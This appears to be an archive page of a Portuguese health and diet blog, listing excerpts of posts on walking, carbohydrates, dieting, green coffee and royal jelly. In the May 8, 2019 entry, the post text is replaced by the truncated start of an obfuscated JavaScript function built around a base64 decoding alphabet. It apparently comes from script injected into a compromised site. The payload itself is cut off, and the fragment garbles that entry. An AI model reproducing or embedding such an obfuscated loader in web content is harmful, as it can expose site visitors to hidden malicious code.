Jun 16, 2019 | Estilo e beleza, perder peso, Saúde e bem estar, Teresa
Quantas calorias queimamos numa caminhada? Andar a pé é dos melhores exercícios que podemos fazer. Melhora a circulação sanguínea, o comportamento cardiovascular e previne a osteoporose e outras doenças crónicas. Bastam 30 minutos por dia! E como se não bastasse...
Mai 14, 2019 | Equilíbrio, Saúde e bem estar
8 Hidratos de carbono benéficos para a sua saúde Certamente já costuma consumi-los nas suas refeições mas será que está a fazer as escolhas certas? Hoje vou falar-lhe dos hidratos de carbono mais saudáveis que deve incluir na sua alimentação. Saiba que os hidratos...
Mai 8, 2019 | perder peso, Saúde e bem estar, Teresa
10 mfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Fev 13, 2019 | Em Alta, Eu, Teresa, O meu mundo
3 passos para fazer dieta Olá meus queridos! Estou de volta com um novo vídeo do meu canal de YouTube, da rubrica “Eterno Feminino”. O tema de hoje interessa a muitas, muitas pessoas: vou dar-lhe três passos muito simples para tornar a sua dieta...
Ago 1, 2017 | Saúde e bem estar
Dicas saudáveis – Benefícios do café verde Café verde? Nunca ouviu falar? Pois é, para além do café que costumamos beber existem outras variações muito benéficas para a nossa saúde, como é o caso do café verde. Se não conhece esta bebida que contém muitos...
Mai 9, 2017 | Saúde e bem estar
Dicas saudáveis – Benefícios da geleia real Desde sempre presente na natureza, a geleia real é uma substância gelatinosa de gosto ligeiramente açucarado, segregada pelas abelhas obreiras, que a produzem a partir do mel, néctar e água. Sabe-se hoje que é...
Ago 18, 2016 | Equilíbrio, Saúde e bem estar
Dicas para treinar, queimar calorias e ter o corpo que deseja, por Teresa Manafaia Se treina durante o ano, não precisa necessariamente de treinar nas férias mas, mesmo que pare os treinos nesta altura do ano, é sempre benéfico manter-se de alguma forma ativo/a e...
Ago 1, 2016 | Equilíbrio, Saúde e bem estar
Sinta-se confiante e tenha o melhor verão de sempre. Olá! É verão, está muito calor e só apetece ir à praia. Também acontece consigo? Mas a verdade é que por vezes evitamos a praia porque sentimos que estamos com uns quilinhos a mais e não estamos no nosso melhor. Sei...
Jun 27, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Super satisfeita com a minha dieta ❤ Olá, cá estou eu de novo para vos dar notícias de como está a correr a minha dieta Lev. Fantástica. Aliás, nem é preciso dizer. Os resultados estão à vista. Estou mais magrita! Que bom! E adaptei-me com muita facilidade a este...
